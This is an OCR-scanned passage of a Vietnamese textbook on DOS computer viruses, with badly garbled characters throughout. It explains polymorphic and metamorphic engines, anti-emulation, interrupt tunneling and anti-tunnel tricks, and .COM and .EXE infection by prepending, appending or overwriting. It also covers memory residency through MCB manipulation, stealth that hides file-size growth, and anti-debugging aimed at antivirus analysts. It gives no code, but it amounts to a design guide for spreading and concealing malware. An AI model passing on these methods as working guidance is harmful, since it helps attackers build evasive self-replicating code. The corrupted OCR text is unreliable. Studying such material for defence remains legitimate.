twdng chinh clia cong nghé da hinh 12 thay déi ca phan thu tuc ma hod, lam cho céc

chuong trinh diét Virus s& giap khé khan 4p dung phuong phap do tim doan ma dé
phét hién Virus.

C6 thé chua céc k§ thuat da hinh thanh nhiéu mitc nhu sau:

Mic 1: Virus ¢c6 mot s6 bo giai ma véi tap 1énh c6 dinh, va chon mot trong s6
cac bo giai ma do6 khi lay nhiém file.

Miic 2: Bo giai ma chita mot s6 1énh ¢6 dinh, phan con lai ¢6 thé thay doi.

Miic 3: Bo giai mi c6 thé chita céc lénh khong c6 anh hudng dén logic chuong
trinh, vi du NOP, CLI, STI,..

Miic 4: Bo gidi ma sir dung cac lénh c6 thé thay thé va ti€én hanh déi thi tu ching

moi 14n lay nhiém, thuat to4n gidi ma van khong thay doi.
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Miic 5: Str dung tit ca cong nghé trén, thuat todn gidi ma c6 thé thay doi, chuong
trinh Virus c¢6 thé mi hod nhiéu l4an, thAm chi ma hod mot phan bo giai ma.
Miic 6: Virus bién hinh: Phan chinh ctia Virus duoc thay déi, duoc chia thanh cic
khoi, 6 thé dat ¢ nhing vi tri ngiu nhién trong méi 1an 1ay nhiém.
h. Ky thuat bién hinh.
Day 1a mot ky thuat phic tap, c6 muc dich sinh ra nhitng bo ma 1énh cua chuong
trinh Virus hoan toan khac nhau. Mot s6 diém chinh yé&u ciia cong nghé bién hinh:
- C6 bo dich nguoc céc 1énh.
- C6 bo rit gon ma: C6 nhiém vu rdt gon/toi wu hai hay nhiéu ma Iénh thanh mot
1énh.
- C6 bo md& rong ma: Cé nhiém vu phat trién mot 1énh thanh nhiéu 1énh néu 6 thé.
- B0 dinh vi lai (tinh toan lai), c6 nhiém vu dinh vi lai tat ca cac tham chiéu, vi du
nhu cac Iénh nhay, 1énh goi va cac con tro.
- BO sinh rdc, ¢6 nhiém vu chén thém moét hoiac nhiéu ma lénh khong anh huéng
dén logic chuong trinh, cao giita cic ma 1énh thuc su.
- C6 kha nang tim va loai bo nhitng ma 1énh rac duoc bo sinh rac chén vao.
i. Ky thuat chong mo phong.
K§ thuét nay ¢6 nhiém vu lam ding moi truong mo phong ma cac chuong trinh diét
Virus sit dung dé mo phong hoat dong cuia Virus, két hop v6i cdc cong nghé
heuristic d€ nhan dang céc Virus chua biét.
Mot s6 k¥ thuat thuong duoc su dung:
- Chiém cédc ngat 01h, 02h phuc vu cho viéc g& roi.
- Su dung céc ky thuat thuong trd tréen UMB. HMA ma moi trudng mo phong
khong ho tro.
- Tién hanh cac thao tac véi ngan x€p va cac thanh ghi doan dit liéu DS
j- K¥ thuat chong theo doi.
Cong nghé nay chong lai cong nghé heuristic ciia cac chuong trinh diét Virus. Xin
noéi thém vé cong nghé heuristic, hién nay c6 mot s6 chuong trinh antivirus st dung

cong nghé nay, phat hién Virus dua trén phan tich hanh vi ctia cac chuong trinh. Ky

186



thuat chong theo doi nham chong lai cong nghé nay. C6 thé st dung cic cong nghé

sau:

- St dung cac ham dich vu (cdc ngit) theo cdch riéng hay stt dung cac ham dich vu
gia do Virus tao ra

- Chen thém cac doan ma Iénh “rac” khong anh hudng dén logic chuong trinh, xen
k& nhitng ma Iénh thuc su.

k. Ky thuat duong ham - cira hau.

Dé dé phong trudng hop da ¢6 mot chuong trinh khdc thuong trd, kiém tra céc tac

vu doc ghi dia, Virus can phai 14y dugc dia chi clia thu tuc xUr Iy ngat dau tién (cua

BIOS). Ky thuat nay kha phuc tap, cht yéu dua trén cac phuong phap sau:

- D0 tim mot doan ma xéc dinh cla tha tuc xu 1y ngat trén viing nhd, khi tim thay,
dia chi cta thu tuc xir Iy ngét s& duoc luu lai dé stt dung. K§ thuat ndy c6 thuan
loi 1a doan ma don gian, dé xay dung, nhung c6 han ché vé thoi gian quét bo
nhd.

Thiét k& doan ma theo ddi chudi céc thu tuc xir Iy ngit d€ tim ra tha tuc xu Iy

ngit chudn, viéc 14n vét dugc ti€én hanh tim ra thu tuc ngit chudn, viéc 1an vét
dugc tién hanh dua trén cong nghé sir dung cic ngat gd roi 01h va 03h. Phuong
phap nay thuong dugc st dung hon ca, do dat hiéu qua ca vé mat téc do. Tuy
nhién néu trong céac thu tuc xur 1y ngit c6 st dung cong nghé anti-tunnel, k§

thuat nay co6 thé bi 16i.

Mot ky thuat khac cuc doan hon va it dugc dung nhat do do phtc tap va tinh
twong thich kém, d6 12 viét lai mot s6 chic ning ctia ngét 13h sir dung céc cong
diéu khién 6 dia. Bu lai, do ti€n hanh truy nhép truc ti€p, phuong phdp nay c6

kha nang chong theo doi rat tot.

Con c6 mot ky thuat khac 1a sir dung cdc ham (ngit) khong dugc cong bo cua hé
diéu hanh dé 14y duoc dia chi thi tuc x&r Iy ngit goc — con goi 1a k§ thuat cla
hau.

. Ky thuat anti-tunnel.

La cong nghé d6i nghich véi cong nghé dudng ham, nham ngan chan cdc chuong
trinh  antivirus c6 y dinh tim ki€m dia chi thu tuc xir Iy ngit chuin. K§ thuat nay

187



chii yéu han ch€ phuong phdp st dung cac ngit 01h/03h d€ 1an theo chubi th tuc
ngat. Cong nghé nay dua trén céch tién hanh xur 1y cdac ngat 01h/03h clia hé diéu
hanh.

Doi v6i ngat 01h, néu gia tri cha co bay (trap flag) trong thanh ghi cd duoc bat,
bo vi xtr Iy s€ tién hanh goi ngéit 01h sau khi thi hanh mot ma Iénh. Thanh ghi co,
dia chi segment:offset ctia 1énh bi ngét duoc luu vao ngin xép trude khi quyén diéu
khién dugc trao cho thu tuc xtr 1y ngét O1h.

St dung mot s6 thao tac truc ti€p doi véi thanh ghi ¢ va ngan x€p (thanh ghi
SS:SP) Virus c6 thé phat hién va lam dimg qua trinh 14n vét nay. Mot phuong phap
khac 1a dat lai céc vector ngat 01h/03h dé ngin chin qu4 trinh 14n vét.

m. K¥ thuat toi uu.

Nham thu gon kich thuéc chuong trinh Virus cling nhu tang toc do thi hanh chuong
trinh Virus, bao gom viéc thiét k& cac giai thuat t6i vu cho mdi tic vu, viéc st dung
cac thu tuc thay cho cac doan ma lap cong véi sit dung cac ma lénh t6i wu.

Phuong phdp dau rat linh hoat, da dang tuy thudc vao nguoi thiét k&€ Virus, & day
chi nghién cttu hai phuong phap sau.

- St dung cac thu tuc:

Néu mot s6 ma lénh c6 kich thude 16n duge st dung nhiéu 14n, ¢6 thé t6i wu bang
cdc st dung tha tuc. Vi lénh goi thu tuc/lénh tré6 vé CALL/RET cé kich thuéc
3+1=4byte, co thé dua ra cong thic tinh s byte tiét kieém dugc:

NumByte=(SizeofProc — 4)NumofCall — SizeofProc.

- Phuong phép thit ba dua trén nguyén tic: dé thuc hién cing mot nhiém vu, c6 thé
st dung cac ma 1énh khac nhau, cé do dai va thoi gian thuc hién khac nhau.

III.F- VIRUS.

Mot dang Virus khac dugc dé cap dudi tén goi F- Virus véi s6 lugng vo viing dong
dao va tinh pha hoai da dang dugc nhi€u nguoi chd y hon B- Virus. Mat khac dé
rang cong viéc thodi mai hon, nhat 14 nhitng tic vu dia do dé 1a mot diéu kién tot
cho Virus phat trién.

A. Cac Virus file trén moi truong DOS.

1. Phuong phap lay lan.
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Nhu tén goi F- Virus, Virus chi lay lan trén cdc file thi hanh duoc, tuy rang diéu

nay ciing khong han vi da c6 trudong hop file don thuan 12 dit liéu ciing bi lay.

Giong nhu mot nguyén tac bat di bat dich ctia B- Virus, F- Virus ciing phai tuan
theo nhitng nguyén tac sau:

- Quyén diéu khién nam trong tay Virus tru6c khi Virus tra né lai cho file bi
nhiém. Tat ca cdc dit liéu cla file phai duoc bao toan sau khi quyén diéu khién
thuoc vé file.

Cho dén nay, F- Virus chi c¢6 vai cach lay lan cho file, ma ta sé goi la file doi
tuong. Ta s& 1an luot xét qua cdc phuong phdp nay dé thdy wu ciing nhu khuyét
diém cua no.

e Chen dau.

Thong thuong, phuong phap nay chi ap dung véi cac file .COM nghia la dau vao

chuong trinh Iuon & PSP:100 (Program segment Prefix).

Loi dung dau vao c6 dinh, Virus s€ chén vao doan ma chuong trinh Virus (ma ta
s€ goi 12 pro_vi) vdo dau chuong trinh doi tugng, ddy toan bo chuong trinh d6i
tuong xudng phia dudi.

C6 thé minh hoa:

File chua bi nhiém File da bi nhiém
.COM Virus .COM
A A
Dau vao bauvao
- Uu diém:

Pro_vi rat dé viét, vi thuc chat n6 1a mot file dang .COM. Mat khéac, s€ gay khé
dé cho van dé phuc hoi file vi doi hoi phai doc toan bo file bi nhiém vao ving

nhd roi ti€n hanh ghi lai.
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- Khuyét diém:

Trudc khi tra quyén diéu khién lai file phai dam bao dau vao 1a PSP:100, do d6

phai chuyén tra toan bo chuong trinh 1én bt dau tir offset 0100h.

Nhitng chuong trinh doc lai chinh minh (COMMAND.COM ching han) ma
offset can doc roi vao Pro_vi sé dan dén sai lac logic chuong trinh. Chi lay dugc
trén cac file ¢6 dau vao c¢6 dinh (.COM hay .BIN) va di€u quan trong: kich thudc
file taing 1én dding bang kich thudc Pro_vi.

e Append file

Phuong phap nay duoc thdy trén hau hét trén cac loai F- Virus vi pham vi lay lan
ctia n6 rong rai hon phuong phédp trén. Theo phuong phap nay Pro_vi sé dugc gan
ngay sau chuong trinh déi tuong. Do Pro_vi khong nam ding diu vao cta chuong
trinh nén no phai:

Do6i véi file dang .COM/.BIN: thay cic byte & diém vao (entry) vao cua chuong

trinh biang mot lénh JMP, chuyén diéu khién tir entry vdo dén doan ma cla
Pro_wvi.

boi vai file dang .EXE: chi can dinh vi lai cac gia tri SS, SP, CS, IP trong exec

header.

Uu diém:

Lay lan trén mot lai file thi hanh dugc, thuong 1a .COM/.EXE/.BIN,.. Mat kh4c,
st xdo tron dit lieu trén file khong ddng ké. Viéc doat quyén diéu khién trén file
.COM chi can 3 byte cho mot 1énh nhay.

Khuyét diém:

+ D€ khoi phuc, chi can dinh vi dif liéu cii dé tra lai, khong cin phai ghi lai toan
bod chuong trinh. Nhung viéc dinh vi rat khé vi kich thudce file doi tuong 1a bat
ky.

+ Kich thudc file thay déi, tang 1én mot doan bang (hodc chénh léch <=16 byte
doi véi loai .EXE).

e Qverwrite

Nhuogc diém ctia hai phuong phép trén déu & chd 1am ting kich thuéce file. Day 1a
mot yéu to tien quyét dé phat hién ra Virus. Phuong phap nay dé ra dé khic phuc
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hai phuong phap trén, tuy nhién hay nhu chi ¢6 rét it Virus biét duing phuong phap
nay. Theo phuong phép nay Virus sé€ tim mot viing trong trong file doi tuong (c6 thé
1a stack hoac buffer) dé ghi d& chuong trinh Virus vao. Trudong hop Buffer & cudi
file nho, c6 thé thira ra mot doan chuong trinh Virus 1am kich thuéc file ting lén
khong dang ké.

Tuy nhién phuong phdp nay lai gap nhi€u trd ngai. Pau tién buffer vira dl cho
kich thuGc pro_vi khong phai 1a dé tim, néu khong ndi 1a rat hi€m, da vay, néu day

12 gid tri hing ctia chuong trinh, lai 1am thay doi logic hodc chuong trinh.

File chua bi nhiém File da bi nhiém
.COM .COM Virus .COM
A A
Pau vao bau vao

K& dén phuong phap nay ciing chi lay duoc trén céc file .COM/.BIN ma thoi.
2. Phan loai.
F- Virus cht yéu dugc phan 1am 2 loai chinh.
e TF Virus (Transient File Virus)
Virus thudc loai ndy khong thuong trd, khong chi€ém ngét, khi dugc trao quyén
né sé€ tim mot hodc nhiéu file khac dé lay. Cach viét Pro_vi kiéu nhu vay khac
han loai 2.
e RF Virus (Resident File Virus)
Virus loai nay thudng trd bang cédc k§ thuat khac nhau, chi phéi ngat (it nhat 1a
ngét 21h), khi ngat nay duoc thi hanh tng v6i nhitng chitc niang xdc dinh, file s&
bi lay.
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Cang vé sau nay, RF Virus da 1gi dung th€ manh cta TF Virus trong viéc tim
ki€m file dé lay lan. D vay né van 1a RF Virus, nhung 12 mot smart Virus
(Virus tinh khon).
3. Cau tric chuong trinh Virus.
Hai loai Virus trén c6 cau tric pro_vi hoan toan khac nhau vi st dung nhiing ky
thuat khic nhau.
e TF- Virus
Cau tric pro_vi tuong doi don gian, chia lam 3 phan: lay lan, pha hoai buffer.

Lay

Pha

Buffer

Phan lay lan c6 thé tong quét nhu sau:

Tra quyén diéu
khién

Tim file (find
next)

Tra lai dit liéu
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Phan pha hoai: thuong theo phan lay lan.

Phan buffer: chita cac bién noi tai ctia pro_vi, cac dit liéu cta chuong trinh
doi twong, cdc dit lieu nay s& duoc khoi phuc cho file trude khi quyén diéu khién tra
cho chuong trinh doi tuong.

e RF-Virus

Do chi€m ngét va hoat dong khi can thiét, RF- Virus duoc thiét k€ nhu mot TSR
(chuong trinh thuong trd), nghia 1a pro_vi dugc chia lam 2 phan: phan install va
phan than chuong trinh. Phan than c6 cau tric tuong tu nhu TF- Virus, nghia la
cling x6 3 phan nho hon: phu trach cac cong viéc khac nhau: lay lan, pha hoai, chita
dit liéu.

Phan install

Lay
Pha
Buffer

Phan install quan trong, né c6 thé khai quét nhu sau:

Da ton tai trong
vung nhg?

Install ngét va thudng trd

Pha hoai |«

Tra dix liéu

Tra quyén diéu khién
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4. Cac yéu cau cho moét F- Virus.
a. Tinh ton tai duy nhat.

Ciing nhu B- Virus, viéc ki€ém tra ndy nhim dam bao cho Virus c¢6 mit chi mot
lan trong vung nhd/trén file (tit nhién ta khong xét dén trudong hgp nhicu Virus tan
cong mot file).

Néu trong viing nhé ¢6 qua nhiéu ban sao cia mot Virus sé& 1am cho thoi gian thi
hanh 16n Ién ciing nhu kich thude cua file tang 1én qua nhanh dé bi phat hién va
cling l1am tang thoi gian nap file.

b. Tinh lay lan.

La yéu cdu bét buoc, bao dam cho su ton tai va phét trién cta Virus, vd méi duoc
goi 1a Virus. & day ta khong dé cap dén lay lan ma néi dén toc do lay. mot Virus
khoé phai ¢6 t6c do lay nhanh va do dé6 méi bao dam tinh ton tai.

c. Tinh pha hoai.

Tinh pha hoai do6i khi chi do ngau nhién khi logic pro_vi khong du trit hét cac
trudong hop c6 thé xay ra, hoic do ¢d y, nhung c6 y ma khong ludng hét hau qua
cling dan dén tai hoa khung khiép.

Viéc phat hién F- Virus don gian hon B- Virus rat nhiéu. Bat ky su tang kich
thuGc nao trén file thi hanh dugc tir 1k-5k déu c6 thé két luan chinh xdc 90% 1a file
bi nhiém Virus.

Do d6 Virus 1am sao phai c6 dugc mot ky thuat nguy trang khéo 1éo dé danh lixa
duoc hién tuong nay.

Mat khac, pro_vi dang F quen thudc véi nhitng nguoi viét Virus hon loai B vi
thuc chat né cling nhu mot chuong trinh chay duoi HDH. Do d6 viéc chay dua da
dién ra gifta viéc gay khé khin cho qud trinh theo doi va co theo doi dé phat hién
céch pha hoai nham khac phuc.

d. Tinh thuong tru

Chi quan trong d6i vé6i loai RF- Virus, tuy nhién s6 lugng RF- Virus kha dong

dao nén n6 duoc néu nhu mot yéu cau.
e. Tinh k€ thira.
Céac phién ban sau luon khic phuc nhitng diém yéu ctia nhitng phién béan truée.
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5. Phan tich ky thuat.
a. Kiém tra tinh ton tai.
e Trong vung nhé
Chi c6 RF-Virus méi 4p dung ky thuat nay. C6 nhiéu cdch ki€ém tra. Tuy nhién
céc cach sau thuong hay gap:
- Tao thém chitc nang cho DOS, dé kiém tra tinh ton tai chi c4n goi chiic ning
nay.
- So sanh mot doan ma ving nhé véi chinh nd, mot chénh léch du chi 1 byte cling
dan t6i lay lan.
e Trén file
C6 thé c6 cdc cach kiém tra sau:
- Kiém tra bang kich thudc.
- Kiém tra biang key value (gi4 tri khoa).
- Kiém tra bang c4ch do doan ma.
+ Kiém tra 4p dung trong nhitng Virus dau tién, tuy do chinh x4c ctia n6 khong cao
va mit khéc ciing khong kiém tra dugc phién ban ctia né. Tuy nhién viéc kiém tra
nhanh va két qua phu trong qu4 trinh kiém tra c6 thé dugc dung vé sau nén né duogc
ua dung hon ca.
+ D€ khic phuc nhitng nhuoc diém ky thuat trén, ngudi viét Virus da dua ra cach
kiém tra biang doan ma key-value: gébm vai byte (thudng 12 5 byte) vao nhiing byte
cudi cung cua file. C4c byte key value clia phuong phdp nay c6 thé cho biét phién
ban clia Virus chang han. Uu diém clia phuong phdp nay 1a 4p dung dugc véi moi
file.
+ D6i v6i loai RF-Virus, viéc kiém tra nay duoc dat ra hang dau. Do dé, né doi hoi
phai so sdanh ca mot doan ma that 16n , phuong phap nay khong duoc ua thich 1am vi
né lam giam toc do thi hanh file.
b. Ky thuat lay lan
Hai loai Virus c6 hai cach lay hoan toan khic nhau, do d6 ky thuat lay lan ciing sé&
dé cap thanh 2 phan tuong tng. Tuy vay, van c¢6 nhitng phan chung ma ca hai loai
déu phai dung.
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e (Céc ky thuat chung trén file

Du la Virus loai RF hay TF, d6i tuong lay lan cta ching van la file. Do d6, cac
phuong phép dinh vi, tinh kich thuéc file ... déu giong nhau. Dé c6 thé truy xuat
file, Virus phai du trit cdc trudng hop sau c6 thé xay ra. Do la:

Mot file dugc m& véi ch€ do doc/ghi phai dam bao khong c¢6 thudc tinh sys (hé
thong), hodac Read only (chi doc), hodc hidden (4n). Do d6 can phai déi lai thuoc
tinh khi cén thiét dé c6 thé truy nhap. Mit khac, khi mot file dugc cap nhat, ngay
gid cap nhat ciing duoc dua vao, do d6, lam thay déi gia tri ban dau cua file. Doi
khi lai tao ra 16i cho file nay. Dé khic phuc hai 16i nay, cdch t6t nhat 12 nén déi lai
thuoc tinh cua file, luu giit ngay thang tao file dé€ réi sau do tra lai ddy du thuoc tinh
ban dau cho ching.

Mit khac mot dia mém ¢6 nhan bao vé, néu ¢6 gin 1én file s& tao 16i. Néu khong
xur 1y 16i nay, khi thuc thi 1ay thi DOS s€ béo 16i: “Write on protec disk” that budn
cudi. Loi nay duge DOS ki€m soat bang ngat 24h. Do d6 phuong phép tot nhat nén
thay ngat 24h truéc khi thi hanh truy xuat file réi sau d6 hoan tra. So d6 téng quat
cua mot F- Virus trén file dugc mo ta nhu sau:

Thav noit 24h

v

Lay va dat lai thudc tinh cua file

v

Lay va luu giit ngay gio tao file

v

Truv xnat file (1av)

v

bat lai ngay gio tao file cii

v

Dat lai thudc tinh cua file

v

Tra lai nodt 24 cii
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e K¥ thuat dinh vi trén file.

& day chi dé cap dén 2 phuong phdp chén diu va append file, mot phuong phap

dung cho .COM va con lai cho .EXE.

- Chen dau: Cac budc thuc hién phiic tap, gom cac tha tuc: xin cap phat ving nhg,
chuyén Pro_vi sang, doc toan bo chuong trinh ti€p theo, sau dé réi ghi lai vao
file.

- Append file: phuong phap nay chép pro_vi vao cuoi file doi tuogng, tuy theo loai
file s& c6 cach dinh vi khac nhau. Déi véi file .COM, moi chuyén don gian, doi
trd dén cuoi file, ghi pro_vi vao, buéc nhdy dau chuong trinh dugc tinh bing
kich thudc cii cua file méi trir b6t di 3 byte. Doi vé6i file .EXE, du c6 vé phic tap
vGi viéc dinh vi lai cdc dau vao, nhung lai dé dang véi cac budc sau.

- Tinh kich thuéc file: c6 thé don gian bing cdch doi con tro file dén cudi file, tuy
nhién, thong tin tir exec header cling d cho phép tinh kich thuGc nay.

- Ghi Pro_vi vao cudi file, twong tu nhu File .COM

- Dinh vi gi4 tri CS va IP, nén dinh vi ludén SS va SP.

e K¢¥ thuat tim file doi tugng.

Diéu quan trong ctia Virus 1a phai lay lan, do d6, tim ki€m 1 file d6i tuong 1a diéu

quan trong.

D6i v6i RF- Virus, quyén diéu khién chi tam thoi giao cho Virus. Khi Virus
chuyén quyén cho file, n6 khong con anh hudng gi vdi file nita vi né khong chiém
mot ngit nao kha di cho né ¢é thé “Pop up” duoc. Chinh vi diéu nay, viéc tim ki€ém
file doi tugng lay 1a mot diéu cép bach. Do d6, trong pro_vi luon ¢6 mot doan ma
cho phép Virus di tim file dé lay.

Thong thudong Virus dung chiic nang 04Eh (find first) va 04Fh (find next) dé tim
file. Vi quyén diéu khién trao cho né qua it 6i, nén Virus tranh thi tim ki€m cang
nhiéu file cang tot, n6 c6 thé:

- Lay toan bo file thi hanh trong thu muc hién hanh. Tuy vay do 1énh PATH duoc
dung qua nhiéu, tir mot thu muc chi chia file dit liéu c6 thé goi dugc ma khong
bi lay. Do d6, Virus da dugc cai tién.
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- Lay cdc file trong cac thu muc chi ra trong 1énh PATH. Diéu nay vo cung thuan
loi, bao ddm quyén ton tai cho Virus. Tuy vay ciing chua hét.

- Lay toan bo file trong dia hién hanh. Di¢u nay dam bao chi lay mot lan, tuy vay
kich thuGc dia qué 16n 1am thoi gian lay kéo dai, ngudi sit dung dé nhan thay.
Cuoi cung cach tot nhat van la tim file khong PATH.

Déi v6i RF- Virus, moi chuyén lai ¢c6 vé don gian hon. DOS mot hé diéu hanh
bao gém nhiéu chifc nang truy xuét dia. Bat ky mot chuong trinh nao chi phoi ngét
21H s€& ¢6 toan quyén thao tac trén file. Virus tat nhién s& khong bo qua ngat nay.

Trén tit ca cic RF- Virus da biét déu chi€ém ngat 21h, tuy nhién khong phai bat
ky mot chiic nang nao ciing dan dén viéc lay lan, ma chi 1a mot s chic nang nao
d6 ma thoi. Thong thuong, chidc nang thi hanh déu phai thong qua chic nang nay
(ké ca COMMAND.COM), mit khéc cdc tham s6 vao cho phép dinh vi file nhanh
nhat ma khong cin phéi tim file. Do d6, cling chang la gi néu tat ca cdc Virus da
biét déu chi phoi chitc nang nay. D€ c6 thé ting toc do lay lan, Virus c¢6 thé md
rong pham vi chi ph6i cia minh bang cach “kiém” luon mot vai chiic nang khac
nhu ma file (03Dh), tim file (011H,04EH,012H,04FH,..).

Vé€ sau, khi stic manh ctia viéc dinh vi file d6i tuong cta TF- Virus t6 rd, RF-
Virus ciing da “ti€p thu”, né di c6 kha nang c6 tim file khdc dé lay, khi khong con
file nita méi 14y trén file dugc chi dinh.

c. Ky thuat thuong tru.

K§ thuat nay chi 4p dung v6i RF- Virus. Thuc chat cta su ra doi RF- Virus 1a do

kho khan trong viéc giai quyét ky thuat thuong tri. Ky thuat nay cho dén nay van la

mot van dé md cho cdc nha nghién ctiu va “thiét k& Virus.

bicu kho6 khan xuat phat & chd, DOS chi cung cép chic nang luu trd cho chuong
trinh, nghia 1a chi cho phép toan bd chuong trinh thuong tri. Viéc thuong tri cta
Virus, do d6 ciing dan dén viéc thuong tri ctia chuong trinh d6i tugng, ma di€u nay
khong thé chap nhan néu kich thuéc chuong trinh doi twong qué 16n. Cach t6 chiic
ving nhé khong dugc DOS cong bd ky cang ciing tao ra khé khan trong y d6 mudn
thuong tra.

Tuy vay, van ¢6 ciach giai quyét, hodc bang cach sit dung khon khéo céc chic
ndng cua DOS, hoic bang phuong phdp “thl cong” trén chudi MCB (nam & dau file
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thuc thi .COM, .EXE Memory Control Block). Can ctt ky thuat thuong tri dugc

thuc hién trudc hay sau khi chuong trinh déi tugng thi hanh, cé thé chia k§ thuat

thuong trd thanh 2 nhém:

e Thudng tru trudc khi tra quyén diéu khién.

Khong ¢6 chiic ning nao ctia DOS cho phép lam diéu nay, do d6 k¥ thuat nay ‘gan

lién’ v6i tac vu thu cong trén MCB. Cic céch sau da duoc Virus ding dén.

- Thao tac trén MCB dé tach mot khoi ving nhé ra khoi quyén diéu khiéu cta
DOS, r6i dung viing nay dé chita chuong trinh Virus.

K§ thuat ndy c6 nhuoc diém 12 dé bi phat hién khi dung bat k¥ mot phan mém kiém

tra b nhé nao déu cé thé phat hién ra chénh léch ving nhG (c6 thé dung lénh

CHKDSK cua DOS).

- Tu dinh vi: k§ thuat ndy dua ra dé€ khiac phuc nhugc diém ctia ky thuat trén, tuy
nhién lai ¢6 vé may ruai. Cich nay dua vao nhiing di€u da bi€t vé cédch tai cla
COMMAND.COM: né6 chi dé mot phan chuong trinh thudng tri & ving nhé
thap (né€u c6 thé dugc), nhiem vu cia doan nay 12 s€ tai phan con lai cla
COMMAND.COM vao viing nhé cao 16i trao quyén diéu khién, phan con lai
nay bao gom phan 16n cac 1énh noi tri ctia DOS, né con ¢6 nhiém vu tim va thi
hanh file. Khi quyén diéu khién dugc chuyén cho file, phan ma nay khong con
can thiét nita vd do d6 c6 thé bd di. Néu dé nhiing doan mi nay thudng trd &
vung nhé thap rd rang s€ ton nhiéu ving nhé mac du sé khong c6 su tai lai
COMMAND.COM khi n6 bi ghi de, viéc tiét kiém nay ciing c6 nhi€éu nguyén
nhan nhung néu ta nhé riang kich thuéc ving nhd clia mdy 1a 640kb thi diéu nay
khong c6 gi 1a la. Di nhién, chuong trinh Virus khong thé chiém ngay ving nhé
cao néu khong dung k¥ thuat trén tach né ra khoi DOS, vi nhu thé nd s€ bi
COMMAND.COM ghi de 1én khi phan thuong trd quyét dinh tai lai
COMMAND.COM, cach giai quyét rat don gian néu Virus chiu ‘nhudong’ vling
nhd cao va lui vé mot chuit.

Vi khong cap phat vung nhé cho Virus, DOS khong ¢6 mot 1y do nao ma khong
clp phat cho mot chuong trinh khac néu cé yéu cau, chinh vi diéu nay, phuong phap

199



tu dinh vi da gy ra nhiéu tranh cai vi n6 khong tuan theo mot nguyén tic an toan
dir liéu nao.

- Thuong tri nhu chitc nang 31H.

Day 1a mot k§ thuat phuc tap, doi hoi phai ¢6 su hiéu biét twdng tan khong nhing
chiic nang cua Undocumented (nhung tai liéu khong dugc cong bo) cling nhu cach
t6 chiic va thi hanh mot file ctia DOS.

e Thuong trd sau khi doat lai quyén diéu khién.

Cach nay dua vao phuong phap thi hanh chuong trinh hai lan. Cach nay s€ 14y tén
chuong trinh dang thi hanh trong moi trudng ma DOS t6 chiic, r6i mot 14n nita, né
s€ thi hanh ngay chinh ban than minh, sau khi dd giam ving nhé xudng con toi
thi€u. Sau khi file thi hanh xong, quyén diéu khién bay gio lai trao vé cho Virus, va
lic nay né mdi tién hanh thuong trd bang chitc nang 31H ctia DOS nhu mét chuong
trinh binh thudng. Cic buéc dé thuc hién k§ thuat nay nhu sau:

+ Giai phéng viing nhé khong can thiét

+ Tao EPB (exec parameter block) 1a mdt cdu tric cung cdp cho DOS nhiing
thong tin can thiét vé moi trudng.

+ Tim file trong moi1 truong hién thoi.

+ Dat dau hiéu dang thi hanh lai

+ Dung chittc nang 4B thi hanh chinh né mot 1an nita.

+ Nhan quyén diéu khién tra lai, ding chic nang 4D dé 14y mi 16i ra clia chuong
trinh.

+ Dung chic nang 31H dé thuong trd véi BX 1a kich thuGce Virus, ma ra 1a ma
lay tir chtiic nang 04DH.

Tuy vay phuong phdp nay van cé han ch€, né khong thé lay lan duoc file
COMMAND.COM vi khi COMMAND.COM I[én lan dau tién, né s€ khong bao gio
tra quyén lai cho Virus ca, mat khdc, sé khong cé Virus nao lay ti€p vi dau hiéu
trong ving nhG cho biét Virus dang & qud trinh doi diéu khién. Do do, tét ca céc
Virus dugc thiét k& theo phuong phip nay déu kiém tra tén file véi
COMMAND.COM truéce khi no6 lay.
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d. Ky thuat pha hoai.
e TF- Virus

Do TF- Virus chi danh quyén diéu khi€én c¢6 mot 14n, n6 khong thé d€m gid mot
cdch déu dan duoc, do d6 phan 16n cic TF- Virus déu mang tinh phd hoai ngiu
nhién va ti€n hanh ngay trén file doi tuong. Viéc pha hoai tuong doi nho, xoa file,
déi ngay thang.
e RF- Virus
Dai tuong pha hoai cta Virus loai nay phong pht hon, bao gom man hinh, loa, dia,..
Phéin pha hoai ¢6 thé 1a cudc ‘thi tai’ gilta cdc giai thuat ngan gon nhung c6 hiéu
suit cao. Hiém thay Virus nao mang tinh pha hoai tan khoc, tuy vay sau nay, khi
Virus dé bi phat hién né da khong con mang tinh hién hoa nira. Ky thuat d€m gio,
s0 lan lay giong nhu B- Virus.
e. Ky thuat gay nhiéu va nguy trang.
e Nguy trang
Mot yéu diém khong céch nao tranh khoi 1a file doi tugng sé bi ting kich thuéc.
Luong tang 1én nay phu thudc vao viéc c6 bao nhiéu Virus da lay vao va ky thuat
lay. Pay ciing 1a mot thach thic cho nhitng nguoi viét Virus. tuy vay hién nay, ciing
c6 céach giai quyét khi céc 1énh DIR ctia DOS déu dung chic nang 11H va 12H dé
14y thong tin vé file (k€ ca kich thuéc), do d6 viéc chi phdi chiic ning nay ciing c6
thé danh lra dugc mot s6 ngudi. Tuy nhién, diéu nay ciing gay hiéu ung cho céc
phin mém dung cac chifc niang nay dé copy file, so sdnh hay tu t6 chifc 14y viéc thi
hanh file ma khong thong qua DOS.
e Gay nhiéu.
Néu véan dé nguy trang chi don gidn 12 nham giai quyét hién tuong tang kich thuéc,
thi van dé gay nhiéu lai ¢6 tam quan trong trong van dé chong nhitng phan mém
diét Virus c6 y dinh ‘truc xuat’ Virus ra khoi file.

Thong thudng, cdc nha chita tri Virus phai nam duoc Virus cat gidu dit liéu cla
file d6i tuong & dau réi khoi phuc lai. D€ 1am diéu nay, doi khi ho phai ‘tham khao’
chuong trinh Virus — va ciing dé theo doi néu kich thudc chuong trinh qua nho. K¥
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thuat gay nhiéu s& khong cho ho c¢6 kha nang dé 1am diéu nay, hoic 1am trong diéu

kién cuc ky kho khan vi logic chuong trinh. Thong thudng Virus s€ thuc hién

Anti-debug: C4c tay diét Virus thudng dung céc phdn mém debug dé theo doi
chuong trinh Virus. cic chuong trinh nay thuc chat phai dung cdc ngat 1h va 3h
dé thi hanh timg budc mot. Tat nhién diéu nay s& khong con dung duoc nita vi
Virus chi phoi ngat 1h va 3h, bat ky su xam pham nao dén ngit nay sé dan dén
nhiing két qua khong luong duoc.

Exec header gia: khi kiém tra Virus trén file .EXE, diéu bat budc 1a nguoi diét
Virus phai doc bang EXEC header vao va dinh dau vao file, tir 46 méi phat hién
ra Virus. Nay di€u nay ciing khong con nhu truGe nita, that 1a khong may néu ho
doc ban tham s6 nay bang ciach md file va doc, chuong trinh Virus da nhanh tay
hon khi phat hién ra y d6 nay va bing cach thay vao dé6 mot bang tham s6 binh
thuong thi moi chuyén van binh thuong, nghia la ‘tinh hinh file vo cing yén
tinh’.

Ma hod chuong trinh: ma hod phan 16n chuong trinh Virus, chi khi nao vao viing
